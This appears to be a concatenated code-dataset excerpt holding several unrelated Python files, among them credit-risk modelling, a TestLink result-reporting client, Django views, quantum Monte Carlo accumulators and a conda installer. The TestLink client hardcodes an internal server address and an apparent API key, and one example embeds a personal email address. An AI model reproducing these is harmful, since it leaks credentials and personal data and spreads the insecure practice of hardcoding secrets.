'Revol'], bins=10, ax=ax4)\n\n#将区间分为(0-1),(1-10),(10-20),(20-100),(100,1000),(1000-10000),(10000,51000)看一下违约率情况\ndata_1 = data_train.loc[(data_train['Revol'] >= 0) & (data_train['Revol'] < 1), :]\nIs_1 = data_1.loc[data_1['Isdlq'] == 1, :].shape[0]*100/data_1.shape[0]\n\ndata_2 = data_train.loc[(data_train['Revol'] >= 1) & (data_train['Revol'] < 10), :]\nIs_2 = data_2.loc[data_2['Isdlq'] == 1, :].shape[0]*100/data_2.shape[0]\n\ndata_3 = data_train.loc[(data_train['Revol'] >= 10) & (data_train['Revol'] < 20), :]\nIs_3 = data_3.loc[data_3['Isdlq'] == 1, :].shape[0]*100/data_3.shape[0]\n\ndata_4 = data_train.loc[(data_train['Revol'] >= 20) & (data_train['Revol'] < 100), :]\nIs_4=data_4.loc[data_4['Isdlq']==1,:].shape[0]*100/data_4.shape[0]\n\ndata_5 = data_train.loc[(data_train['Revol'] >= 100) & (data_train['Revol'] < 1000), :]\nIs_5 = data_5.loc[data_5['Isdlq'] == 1, :].shape[0]*100/data_5.shape[0]\n\ndata_6 = data_train.loc[(data_train['Revol'] >= 1000) & (data_train['Revol'] < 10000), :]\nIs_6 = data_6.loc[data_6['Isdlq'] == 1,:].shape[0]*100/data_6.shape[0]\n\ndata_7 = data_train.loc[(data_train['Revol'] >= 10000)&(data_train['Revol'] < 51000), :]\nIs_7 = data_7.loc[data_7['Isdlq'] == 1, :].shape[0]*100/data_7.shape[0]\n\nprint('0-1违约率为:{0}%'.format(Is_1),\n '1-10违约率为:{0}%'.format(Is_2),\n '10-20违约率为:{0}%'.format(Is_3),\n '20-100违约率为:{0}%'.format(Is_4),\n '100-1000违约率为:{0}%'.format(Is_5),\n '1000-10000违约率为:{0}%'.format(Is_6),\n '10000-51000违约率为:{0}%'.format(Is_7))\n\n#DebtRatio数据的分布情况\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.kdeplot(data_train['DebtRatio'], ax=ax1)\nsns.boxplot(y=data_train['DebtRatio'], ax=ax2)\n\n#尝试多次细分\nDebt3 = data_train.loc[(data_train['DebtRatio'] >= 1) & (data_train['DebtRatio'] < 1000), :]\nDebt4 = data_train.loc[(data_train['DebtRatio'] >= 1) & (data_train['DebtRatio'] < 200), :]\nDebt5 = data_train.loc[(data_train['DebtRatio'] >= 1) & (data_train['DebtRatio'] < 10), :]\nDebt6 = data_train.loc[(data_train['DebtRatio'] >= 1) & (data_train['DebtRatio'] < 2), :]\n\nfig, [[ax1, ax2], [ax3, ax4]] = plt.subplots(2, 2, figsize=(20, 10))\nsns.distplot(Debt3['DebtRatio'], ax=ax1)\nsns.distplot(Debt4['DebtRatio'], ax=ax2)\nsns.distplot(Debt5['DebtRatio'], ax=ax3)\nsns.distplot(Debt6['DebtRatio'], ax=ax4)\n\n#各区间的违约率(0,1),(1-2),(2-10),(10-50),(50-200),(200,1000),1000以上\nDebt_1 = data_train.loc[(data_train['DebtRatio'] >= 0) & (data_train['DebtRatio'] < 1), :]\nDebIs_1 = Debt_1.loc[Debt_1['Isdlq'] == 1, :].shape[0]*100/Debt_1.shape[0]\n\nDebt_2 = data_train.loc[(data_train['DebtRatio'] >= 1) & (data_train['DebtRatio'] < 2), :]\nDebIs_2 = Debt_2.loc[Debt_2['Isdlq'] == 1, :].shape[0]*100/Debt_2.shape[0]\n\nDebt_3 = data_train.loc[(data_train['DebtRatio'] >= 2) & (data_train['DebtRatio'] < 10), :]\nDebIs_3 = Debt_3.loc[Debt_3['Isdlq'] == 1, :].shape[0]*100/Debt_3.shape[0]\n\nDebt_4 = data_train.loc[(data_train['DebtRatio'] >= 10) & (data_train['DebtRatio'] < 50), :]\nDebIs_4 = Debt_4.loc[Debt_4['Isdlq'] == 1, :].shape[0]*100/Debt_4.shape[0]\n\nDebt_5 = data_train.loc[(data_train['DebtRatio'] >= 50) & (data_train['DebtRatio'] < 200), :]\nDebIs_5 = Debt_5.loc[Debt_5['Isdlq']==1,:].shape[0]*100/Debt_5.shape[0]\n\nDebt_6 = data_train.loc[(data_train['DebtRatio'] >= 200) & (data_train['DebtRatio'] < 1000), :]\nDebIs_6 = Debt_6.loc[Debt_6['Isdlq'] == 1, :].shape[0]*100/Debt_6.shape[0]\n\nDebt_7 = data_train.loc[data_train['DebtRatio'] >= 1000, :]\nDebIs_7 = Debt_7.loc[Debt_7['Isdlq'] == 1, :].shape[0]*100/Debt_7.shape[0]\n\nprint('0-1违约率为:{0}%'.format(DebIs_1),\n '1-2违约率为:{0}%'.format(DebIs_2),\n '2-10违约率为:{0}%'.format(DebIs_3),\n '10-50违约率为:{0}%'.format(DebIs_4),\n '50-200违约率为:{0}%'.format(DebIs_5),\n '200-1000违约率为:{0}%'.format(DebIs_6),\n '1000以上违约率为:{0}%'.format(DebIs_7))\n\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.distplot(data_train['Numopen'], ax=ax1)\nsns.boxplot(y=data_train['Numopen'], ax=ax2)\n#看一下数据点分布\nfigure = plt.figure(figsize=(12, 6))\nsns.countplot(data_train['Numopen'])\ndata_train.loc[data_train['Numopen'] > 36, 'Numopen'] = 36\nNumopen_dlq = data_train.groupby(['Numopen'])['Isdlq'].sum()\nNumopen_total = data_train.groupby(['Numopen'])['Isdlq'].count()\nNumopen_dlqratio = Numopen_dlq/Numopen_total\nNumopen_dlqratio.plot(kind='bar', figsize=(12, 6), color='#4682B4')\n\n#数据分布\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.distplot(data_train['Numestate'], ax=ax1)\nsns.boxplot(y=data_train['Numestate'], ax=ax2)\n#大致看一下各数据点数据大小分布\nsns.countplot(data_train['Numestate'])\n#将大于8的数据和8合并后看一下违约率的情况\ndata_train.loc[data_train['Numestate']>8,'Numestate']=8\nNumestate_dlq = data_train.groupby(['Numestate'])['Isdlq'].sum()\nNumestate_total = data_train.groupby(['Numestate'])['Isdlq'].count()\nNumestate_dlqratio = Numestate_dlq/Numestate_total\nNumestate_dlqratio.plot(kind='bar', figsize=(8, 6), color='#4682B4')\n\n#Numdepend数据分布\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.countplot(data_train['Numdepend'], ax=ax1)\nsns.boxplot(y=data_train['Numdepend'], ax=ax2)\nD_nullNum = data_train['Numdepend'].isnull().sum()\nprint('缺失值数量:', D_nullNum, '缺失值比率:{0}%'.format(D_nullNum*100/data_train.shape[0]))\n\n#看一下MonthlyIncome和Numdepend的缺失是否有关联\ndata_train.loc[(data_train['Numdepend'].isnull()) & (data_train['MonthlyIncome'].isnull()), :].shape[0]\n\nMonthNullDependNot=data_train.loc[(data_train['Numdepend'].notnull())&(data_train['MonthlyIncome']).isnull(), :]\nsns.countplot(MonthNullDependNot['Numdepend'])\n\n#MonthlyIncome数据分布\nfig, [ax1, ax2] = plt.subplots(1, 2, figsize=(20, 6))\nsns.kdeplot(data_train['MonthlyIncome'], ax=ax1)\nsns.boxplot(y=data_train['MonthlyIncome'], ax=ax2)\n\n#MonthlyIncome缺失值情况\nM_nullNum = data_train['MonthlyIncome'].isnull().sum()\nprint('缺失值数量:', M_nullNum,'缺失值比率:{0}%'.format(M_nullNum*100/data_train.shape[0]))\n\nfig, [ax1, ax2, ax3] = plt.subplots(1, 3, figsize=(20, 6))\nsns.countplot(data_train['Num30-59late'], ax=ax1)\nsns.countplot(data_train['Num60-89late'], ax=ax2)\nsns.countplot(data_train['Num90late'], ax=ax3)\n\n\n\ndata_train = datapreprocess.DataPreprocess(data_train)\ncorr = data_train.corr()\nplt.figure(figsize=(14, 2))\nsns.heatmap(corr, annot=True, linewidths=.3, cmap='YlGnBu')\n#plt.show()\n\ndef bin_woe(tar, var, n=None, cat=None):\n \"\"\"\n 连续自变量分箱,woe,iv变换\n tar:target目标变量\n var:进行woe,iv转换的自变量\n n:分组数量\n \"\"\"\n total_bad = tar.sum()\n total_good = tar.count() - total_bad\n totalRate = total_good / total_bad\n\n if cat == 's':\n msheet = pd.DataFrame({tar.name: tar, var.name: var, 'var_bins': pd.qcut(var, n, duplicates='drop')})\n grouped = msheet.groupby(['var_bins'])\n elif (cat == 'd') and (n is None):\n msheet = pd.DataFrame({tar.name: tar, var.name: var})\n grouped = msheet.groupby([var.name])\n\n groupBad = grouped.sum()[tar.name]\n groupTotal = grouped.count()[tar.name]\n groupGood = groupTotal - groupBad\n groupRate = groupGood / groupBad\n groupBadRate = groupBad / groupTotal\n groupGoodRate = groupGood / groupTotal\n\n woe = np.log(groupRate / totalRate)\n iv = np.sum((groupGood / total_good - groupBad / total_bad) * woe)\n\n if cat == 's':\n new_var, cut = pd.qcut(var, n, duplicates='drop', retbins=True, labels=woe.tolist())\n elif cat == 'd':\n dictmap = {}\n for x in woe.index:\n dictmap[x] = woe[x]\n new_var, cut = var.map(dictmap), woe.index\n\n return woe.tolist(), iv, cut, new_var\n\n\n# 确定变量类型,连续变量还是离散变量\ndvar = ['Revol', 'DebtRatio', 'Num30-59late', 'Num60-89late', 'Num90late', 'AllNumlate', 'Withdepend',\n 'Numestate', 'Numdepend']\nsvar = ['MonthlyIncome', 'age', 'Monthlypayment', 'Numopen']\n\n\n# 可视化woe得分和iv得分\ndef woe_vs(data):\n cutdict = {}\n ivdict = {}\n woe_dict = {}\n woe_var = pd.DataFrame()\n for var in data.columns:\n if var in dvar:\n woe, iv, cut, new = bin_woe(data['Isdlq'], data[var], cat='d')\n woe_dict[var] = woe\n woe_var[var] = new\n ivdict[var] = iv\n cutdict[var] = cut\n elif var in svar:\n woe, iv, cut, new = bin_woe(data['Isdlq'], data[var], n=5, cat='s')\n woe_dict[var] = woe\n woe_var[var] = new\n ivdict[var] = iv\n cutdict[var] = cut\n\n ivdict = sorted(ivdict.items(), key=lambda x: x[1], reverse=False)\n iv_vs = pd.DataFrame([x[1] for x in ivdict], index=[x[0] for x in ivdict], columns=['IV'])\n ax = iv_vs.plot(kind='barh',\n figsize=(12, 12),\n title='Feature IV',\n fontsize=10,\n width=0.8,\n color='#00688B')\n ax.set_ylabel('Features')\n ax.set_xlabel('IV of Features')\n\n return ivdict, woe_var, woe_dict, cutdict\n\n\n# woe转化\nivinfo, woe_data, woe_dict, cut_dict = woe_vs(data_train)\n\nfrom sklearn.model_selection import train_test_split\nIV_info=['Num60-89late','Num90late','AllNumlate','Revol','age']\n#X=woe_data[IV_info]\nX=data_train.loc[:, IV_info]\ny=data_train['Isdlq']\nX_train,X_test,y_train,y_test=train_test_split(X,y,random_state=42)\n\n#Logistic模型建立\nfrom sklearn.linear_model import LogisticRegression\nmodel=LogisticRegression(random_state=0,\n solver=\"sag\",\n penalty=\"l2\",\n class_weight=\"balanced\",\n C=1.0,\n max_iter=500)\nmodel.fit(X_train, y_train)\nmodel_proba = model.predict_proba(X_test)#predict_proba返回的结果是一个数组,包含两个元素,第一个元素是标签为0的概率值,第二个元素是标签为1的概率值\nmodel_score=model_proba[:,1]\n\n#绘制ROC曲线,计算AUC值\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfpr,tpr,thresholds =roc_curve(y_test,model_score)\nauc_score=roc_auc_score(y_test,model_score)\nplt.plot(fpr, tpr, linewidth=2, label='AUC = %0.2f'%auc_score)\nplt.plot([0,1],[0,1], \"k--\")\nplt.axis([0,1,0,1])\nplt.xlabel('FPR')\nplt.ylabel('TPR')\nplt.legend()\nplt.show()\n","sub_path":"MachineLearning/Practice/GiveMeSomeCredit/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":14360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"416676146","text":"from Population import Population\nfrom Matrix import Matrix\nimport random\nfrom math import ceil\n\nclass HillClimbingSolution():\n def __init__(self, iterations, matrix_size):\n self.target_fitness = matrix_size * 2\n self.iterations = iterations\n self.matrix_size = matrix_size\n \n def run(self):\n matrix = Matrix(self.matrix_size)\n fitness = matrix.fitness()\n\n for _ in range(self.iterations):\n improved = False\n for neighbour in matrix.get_neighbours():\n # look for neighbour with highest fitness\n if neighbour.fitness() > fitness:\n fitness = neighbour.fitness()\n matrix = neighbour\n improved = True\n\n if fitness == self.target_fitness:\n # we can stop if we found a solution\n break\n \n if not improved:\n # if we've not reached the target fitness and we haven't improved from the previous iteration,\n # it means we've reached a local maximuma and need to restart\n matrix = Matrix(self.matrix_size)\n\n return fitness, matrix","sub_path":"Artificial Intelligence/Lab3/HillClimbingSolution.py","file_name":"HillClimbingSolution.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"315991643","text":"import hashlib\n\nclass Gravatar():\n \"\"\"\n Gravatar işlemlerini sağlayan kütüphanedir.\n Gravatar class'ı tek parametre alır ve tek parametreye\n email adresini yolladığınız zaman size o email'e ait\n profil link çıktısı geri gönderir.\n :param : E-mail adress\n \"\"\"\n def __init__(self,email):\n self.email = email\n\n def profile(self):\n \"\"\"\n Yollanan email adresini profil link olarak geri gönderir.\n :return: profile\n \"\"\"\n link = hashlib.md5(self.email.encode('utf-8')).hexdigest()\n profile = \"http://www.gravatar.com/avatar/\" + link\n return profile\n\nif __name__ == '__main__':\n #from Gravatar import *\n # Example\n Gravatar_Profile = Gravatar('aliymn.db@gmail.com')\n print(Gravatar_Profile.profile())","sub_path":"Gravatar.py","file_name":"Gravatar.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"117931345","text":"#!/usr/bin/env python3\nimport sys, re\n# left negative, right positive\ndef rotate(pwd, dist):\n leng = len(pwd)\n start = leng - dist\n new = ''\n for i in range(leng):\n new += pwd[(start + i) % leng]\n return new\n\ndef move(pwd, fr, to):\n new = ''\n if to > fr:\n new += pwd[0:fr]\n new += pwd[fr+1:to+1]\n new += pwd[fr]\n new += pwd[to+1:]\n else:\n new += pwd[0:to]\n new += pwd[fr]\n new += pwd[to:fr]\n new += pwd[fr+1:]\n return new\n\ndef reverse(pwd, lo, hi):\n new = pwd[0:lo]\n for i in range(hi, lo-1, -1):\n new += pwd[i]\n new += pwd[hi+1:]\n return new\n\npwd = \"abcdefgh\"\ninstr = [line.rstrip() for line in sys.stdin]\nfor line in instr:\n if line.startswith(\"rotate b\"):\n char = line.split()[6]\n dist = pwd.index(char)\n if dist >= 4:\n dist += 2\n else:\n dist += 1\n pwd = rotate(pwd, dist)\n elif line.startswith(\"rotate\"):\n [tmp, direction, dist, tmp] = line.split()\n dist = int(dist)\n if direction == \"left\":\n dist = -1*dist\n pwd = rotate(pwd, dist)\n elif line.startswith(\"move\"):\n info = line.split()\n pwd = move(pwd, int(info[2]), int(info[5]))\n elif line.startswith(\"reverse\"):\n info = line.split()\n pwd = reverse(pwd, int(info[2]), int(info[4]))\n elif line.startswith(\"swap\"):\n [tmp, lo_to, lo, tmp, hi_to, hi] = line.split()\n if lo_to == 'letter':\n lo = pwd.index(lo)\n hi = pwd.index(hi)\n if lo_to == 'position':\n lo = int(lo)\n hi = int(hi)\n tmp1 = pwd[lo]\n tmp2 = pwd[hi]\n pwd = re.sub(tmp2, '1', pwd)\n pwd = re.sub(tmp1, tmp2, pwd)\n pwd = re.sub('1', tmp1, pwd)\nprint(pwd)","sub_path":"day21_1.py","file_name":"day21_1.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"43009893","text":"from django.shortcuts import get_object_or_404\nfrom django.http import JsonResponse, HttpResponse\nfrom .serializers import UserSerializer, ImageSerializer\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework_jwt.settings import api_settings\nfrom .models import User\nfrom django.contrib.auth import get_user_model\n# Create your views here.\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny, ])\ndef signup(request):\n print('singup')\n serializer = UserSerializer(data=request.data)\n print(serializer)\n if serializer.is_valid(raise_exception=True):\n print('통과실패')\n password = request.data.get('password')\n user = serializer.save()\n user.set_password(password)\n user.save()\n\n jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER\n jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER\n\n payload = jwt_payload_handler(user)\n token = jwt_encode_handler(payload)\n\n return JsonResponse({'token': token})\n return HttpResponse(status=400)\n\ndef mypage(request, id):\n print('mypage@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@')\n print(id)\n user = get_object_or_404(get_user_model(), id=id)\n print(user)\n serializer = ImageSerializer(user)\n return JsonResponse(serializer.data)\n\n@api_view(['POST'])\ndef inimage(request, id=id):\n user = get_object_or_404(get_user_model(), id=id)\n # serializer = UserSerializer(user, data= request.data)\n # serializer.save()\n image = request.FILES['file']\n print('@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@')\n print(image)\n user.image = image\n user.save()\n serializer = ImageSerializer(user)\n return JsonResponse(serializer.data)\n\n","sub_path":"projectback/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"56427521","text":"from hypergan.samplers.base_sampler import BaseSampler\nimport tensorflow as tf\n\nclass BatchSampler(BaseSampler):\n def __init__(self, gan, samples_per_row=8):\n BaseSampler.__init__(self, gan, samples_per_row)\n\n def _sample(self):\n gan = self.gan\n\n return {\n 'generator': gan.session.run(gan.generator.sample)\n }\n\n","sub_path":"hypergan/samplers/batch_sampler.py","file_name":"batch_sampler.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"115495464","text":"import numpy as np \nfrom pyqmc.energy import energy\n\nclass EnergyAccumulator:\n \"\"\"returns energy of each configuration in a dictionary. \n Keys and their meanings can be found in energy.energy \"\"\"\n def __init__(self, mol):\n self.mol = mol\n\n def __call__(self,configs, wf):\n return energy(self.mol, configs, wf)\n\n def avg(self,configs,wf):\n d={}\n for k,it in self(configs,wf).items():\n d[k]=np.mean(it,axis=0)\n return d\n\n\n\nclass LinearTransform:\n def __init__(self,parameters,to_opt=None):\n if to_opt is None:\n self.to_opt=list(parameters.keys())\n else:\n self.to_opt=to_opt\n\n self.shapes=np.array([parameters[k].shape for k in self.to_opt])\n self.slices=np.array([ np.prod(s) for s in self.shapes ])\n \n def serialize_parameters(self,parameters):\n \"\"\"Convert the dictionary to a linear list\n of gradients\n \"\"\"\n params=[]\n for k in self.to_opt:\n params.append(parameters[k].flatten())\n return np.concatenate(params)\n\n\n def serialize_gradients(self,pgrad):\n \"\"\"Convert the dictionary to a linear list\n of gradients\n \"\"\"\n grads=[]\n for k in self.to_opt:\n grads.append(pgrad[k].reshape((pgrad[k].shape[0],-1)))\n return np.concatenate(grads,axis=1)\n\n \n def deserialize(self,parameters):\n \"\"\"Convert serialized parameters to dictionary\n \"\"\"\n n=0\n d={}\n for i,k in enumerate(self.to_opt):\n np=self.slices[i]\n d[k]=parameters[n:n+np].reshape(self.shapes[i])\n n+=np\n return d\n \n\n\nclass PGradTransform:\n \"\"\" \"\"\"\n def __init__(self,enacc,transform):\n self.enacc=enacc\n self.transform=transform\n\n def __call__(self,configs,wf):\n pgrad=wf.pgradient()\n d=self.enacc(configs,wf)\n energy = d['total']\n dp=self.transform.serialize_gradients(pgrad)\n d['dpH'] = np.einsum('i,ij->ij',energy,dp)\n d['dppsi'] = dp\n d['dpidpj'] = np.einsum('ij,ik->ijk',dp,dp)\n return d\n\n def avg(self,configs,wf):\n nconf=configs.shape[0]\n pgrad=wf.pgradient()\n den=self.enacc(configs,wf)\n energy = den['total']\n dp=self.transform.serialize_gradients(pgrad)\n\n d={}\n for k,it in den.items():\n d[k]=np.mean(it,axis=0)\n d['dpH'] = np.einsum('i,ij->j',energy,dp)/nconf\n d['dppsi'] = np.mean(dp,axis=0)\n d['dpidpj'] = np.einsum('ij,ik->jk',dp,dp)/nconf\n return d\n\n\ndef test_transform():\n from pyscf import gto,scf \n import pyqmc\n\n r=1.54/.529177\n mol = gto.M(atom='H 0. 0. 0.; H 0. 0. %g'%r, ecp='bfd',basis='bfd_vtz',unit='bohr',verbose=1)\n mf=scf.RHF(mol).run()\n wf=pyqmc.slater_jastrow(mol,mf)\n enacc=pyqmc.EnergyAccumulator(mol)\n print(list(wf.parameters.keys()))\n transform=LinearTransform(wf.parameters)\n x=transform.serialize_parameters(wf.parameters)\n print(x)\n print(transform.deserialize(x))\n configs=pyqmc.initial_guess(mol,10)\n wf.recompute(configs)\n pgrad=wf.pgradient()\n print(transform.serialize_gradients(pgrad))\n\n \n\nif __name__==\"__main__\":\n test_transform()\n \n \n\n\n\n","sub_path":"pyqmc/accumulators.py","file_name":"accumulators.py","file_ext":"py","file_size_in_byte":3274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"321824839","text":"#coding=utf-8\r\n\r\nimport datetime\r\nimport testlink # TestLink-API-Python-client (0.6.4)\r\n\r\n\r\nclass TestlinkController():\r\n\r\n url = \"http://192.168.128.190:10280/lib/api/xmlrpc/v1/xmlrpc.php\"\r\n key = \"f64655e98d63a680e762bfae95603539\"\r\n tlc = testlink.TestlinkAPIClient(url, key)\r\n auto_create_limit = 3\r\n\r\n\r\n # testplanid = '108' --TestPlanID\r\n # brand = 'LV' \r\n def getlasttestplanbuildname(self, testplanid, brand):\r\n response = self.tlc.getBuildsForTestPlan(testplanid)\r\n lasttime = '0001-01-01 00:00:01'\r\n build_name = ''\r\n for i in range(0, len(response)):\r\n if brand.lower() in response[i]['name'].lower() and response[i]['creation_ts'] > lasttime:\r\n lasttime = response[i]['creation_ts']\r\n build_name = response[i]['name']\r\n\r\n if build_name != '':\r\n return build_name\r\n\r\n\r\n # testplanid = '108' ---TestPlanID\r\n # buildname = 'LV-20170807-test'\r\n def checkbuildname_in_testplan(self, testplanid, buildname):\r\n response = self.tlc.getBuildsForTestPlan(testplanid)\r\n for i in range(0, len(response)):\r\n if buildname.lower() in response[i]['name'].lower():\r\n return buildname\r\n\r\n raise Exception(buildname + ' not exist')\r\n\r\n\r\n # project = PS_web, PS_app, PS_admin\r\n # environments = uat, prod\r\n # brand = 'LV'\r\n # testcaseexternalid = 'PS_web-21' --TestCaseID\r\n # status = 'p' or 'f' or 'b' --Pass / False / block\r\n # buildname = 'LV-20170807-test' \r\n # ex: TestlinkController().settestcaseresult('PS_web', 'uat', 'LV', 'PS_web-21','p')\r\n def settestcaseresult(self, project, environments, brand, testcaseexternalid, status, buildname=None):\r\n\r\n testplanid = TestlinkController().gettestplanid(project, environments)\r\n\r\n if buildname is None:\r\n self.buildname = TestlinkController().getlasttestplanbuildname(testplanid, brand)\r\n elif buildname is not None and isinstance(buildname, str):\r\n self.buildname = TestlinkController().checkbuildname_in_testplan(testplanid, buildname)\r\n response = self.tlc.reportTCResult(testplanid=testplanid, testcaseexternalid=testcaseexternalid,\r\n buildname=self.buildname, platformid=0, status=status)\r\n print('Project: '+project+' ', 'Environments: '+environments+' ', 'brand: '+brand+' ',\r\n 'TestCaseID: ' + testcaseexternalid + ' -', response[0]['message'])\r\n\r\n def set_allcase_pass(self, project, environments, brand, status, buildname=None):\r\n\r\n testplanid = TestlinkController().gettestplanid(project, environments)\r\n\r\n if buildname is None:\r\n self.buildname = TestlinkController().getlasttestplanbuildname(testplanid, brand)\r\n elif buildname is not None and isinstance(buildname, str):\r\n self.buildname = TestlinkController().checkbuildname_in_testplan(testplanid, buildname)\r\n\r\n response_01 = self.tlc.getTestCasesForTestPlan(testplanid)\r\n keylist = list(response_01.keys())\r\n for i in range(0, len(keylist)):\r\n response_02 = self.tlc.reportTCResult(testplanid=testplanid, testcaseid=keylist[i],\r\n buildname=self.buildname, platformid=0, status=status)\r\n print('Project: '+project+' ', 'Environments: '+environments+' ', 'brand: '+brand+' ',\r\n 'TestCaseID: ' + keylist[i] + ' -', response_02[0]['message'])\r\n\r\n\r\n # project = PS_web, PS_app, PS_admin\r\n # environments = uat, prod\r\n # brands = 'LV' \r\n # ex: TestlinkController().createnewbuilds('PS_web','uat')\r\n # ex: TestlinkController().createnewbuilds('PS_web','uat', ['LV', 'LS'])\r\n def createnewbuilds(self, project, environments, brands):\r\n\r\n if isinstance(brands, list):\r\n for i in range(0, len(brands)):\r\n if not isinstance(brands[i], str):\r\n raise Exception('createNewBuilds()',\r\n 'ERROR: parameter brands only can use string in list or string')\r\n brand = brands\r\n elif isinstance(brands, str):\r\n brand = [brands]\r\n else:\r\n raise Exception('createNewBuilds()', 'ERROR: parameter brands only can use string in list or string')\r\n # if environments.lower() != 'uat' and environments.lower() != 'prod':\r\n # raise Exception('createNewBuilds()', 'ERROR: parameter environments can only type uat or prod')\r\n\r\n dateforname = datetime.datetime.now().strftime('%Y/%m/%d')\r\n date = datetime.datetime.now().strftime('%Y-%m-%d')\r\n testplanid = self.gettestplanid(project, environments)\r\n for i in range(0, len(brand)):\r\n buildname = brand[i] + '-' + dateforname\r\n buildtype = self.tlc.createBuild(testplanid=testplanid, buildname=buildname,\r\n buildnotes='builded by automaction in ' + datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n , active=1, open=1, releasedate=date)\r\n num = 0\r\n while 'already exists' in buildtype[0]['message']:\r\n num = num + 1\r\n buildname = brand[i] + '-' + dateforname + '-' + str(num)\r\n buildtype = self.tlc.createBuild(testplanid=testplanid, buildname=buildname,\r\n buildnotes='builded by automaction in ' + datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n , active=1, open=1, releasedate=date)\r\n if num == self.auto_create_limit:\r\n break\r\n print(buildname + ' :', buildtype[0]['message'])\r\n\r\n\r\n # project = PS_web, PS_app, PS_admin\r\n # environments = uat, prod\r\n # ex: TestlinkController().gettestplanid('PS_web', 'uat')\r\n # ex: TestlinkController().gettestplanid('PS_web', 'uat', 'LV')\r\n def gettestplanid(self, project, environments):\r\n response = self.tlc.getProjects()\r\n for i in range(0, len(response)):\r\n if project.lower() == response[i]['prefix'].lower():\r\n projectid = response[i]['id']\r\n response2 = self.tlc.getProjectTestPlans(projectid)\r\n for y in range(0, len(response2)):\r\n if environments.lower() in response2[y]['name'].lower():\r\n testplanid = response2[y]['id']\r\n return testplanid\r\n raise Exception('gettestplanid()', 'ERROR: 無此Testplan名稱')\r\n raise Exception('gettestplanid()', 'ERROR: 無此Project名稱')","sub_path":"utils/extension/testlinkcontroller.py","file_name":"testlinkcontroller.py","file_ext":"py","file_size_in_byte":6709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"69110411","text":"from telegram.ext import Updater\n\nfrom open_wide.bot import Bot\nfrom open_wide.logger import create_logger\n\n\ndef start(bot_token: str):\n logger = create_logger(\"start\")\n updater = Updater(token=bot_token, use_context=True)\n Bot(updater)\n\n logger.info(\"Running\")\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == \"__main__\":\n import json\n\n with open(\"secrets.json\") as f:\n content = json.load(f)\n token = content['token']\n\n start(token)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"283630825","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport os\nimport sys\n\ntry:\n from configparser import ConfigParser\nexcept ImportError:\n from six.moves import configparser\n import six\n\n if six.PY2:\n ConfigParser = configparser.SafeConfigParser\n else:\n ConfigParser = configparser.ConfigParser\n\nfrom shared import parse_args, check_call, install_miniconda, get_conda_base\n\n\ndef get_config(config_file):\n here = os.path.abspath(os.path.dirname(__file__))\n default_config = os.path.join(here, 'default.cfg')\n config = ConfigParser()\n config.read(default_config)\n\n if config_file is not None:\n config.read(config_file)\n\n return config\n\n\ndef bootstrap(activate_install_env, source_path, local_conda_build):\n\n print('Creating the e3sm_unified conda environment')\n bootstrap_command = '{}/bootstrap.py'.format(source_path)\n command = '{}; ' \\\n '{} {}'.format(activate_install_env, bootstrap_command,\n ' '.join(sys.argv[1:]))\n if local_conda_build is not None:\n command = '{} --local_conda_build {}'.format(command,\n local_conda_build)\n check_call(command)\n sys.exit(0)\n\n\ndef setup_install_env(activate_base, config, use_local):\n print('Setting up a conda environment for installing E3SM-Unified')\n mache_version = config.get('e3sm_unified', 'mache')\n channels = []\n if use_local:\n channels.append('--use-local')\n if 'rc' in mache_version:\n channels.append('-c conda-forge/label/e3sm_dev')\n channels = ' '.join(channels)\n commands = '{}; ' \\\n 'mamba create -y -n temp_e3sm_unified_install ' \\\n '{} progressbar2 jinja2 mache={}'.format(activate_base,\n channels,\n mache_version)\n\n check_call(commands)\n\n\ndef remove_install_env(activate_base):\n print('Removing conda environment for installing E3SM-Unified')\n commands = '{}; ' \\\n 'conda remove -y --all -n ' \\\n 'temp_e3sm_unified_install'.format(activate_base)\n\n check_call(commands)\n\n\ndef main():\n args = parse_args(bootstrap=False)\n source_path = os.getcwd()\n\n config = get_config(args.config_file)\n\n conda_base = get_conda_base(args.conda_base, config, shared=False)\n conda_base = os.path.abspath(conda_base)\n\n source_activation_scripts = \\\n 'source {}/etc/profile.d/conda.sh; ' \\\n 'source {}/etc/profile.d/mamba.sh'.format(conda_base, conda_base)\n\n activate_base = '{}; conda activate'.format(source_activation_scripts)\n\n activate_install_env = \\\n '{}; ' \\\n 'conda activate temp_e3sm_unified_install'.format(\n source_activation_scripts)\n\n # install miniconda if needed\n install_miniconda(conda_base, 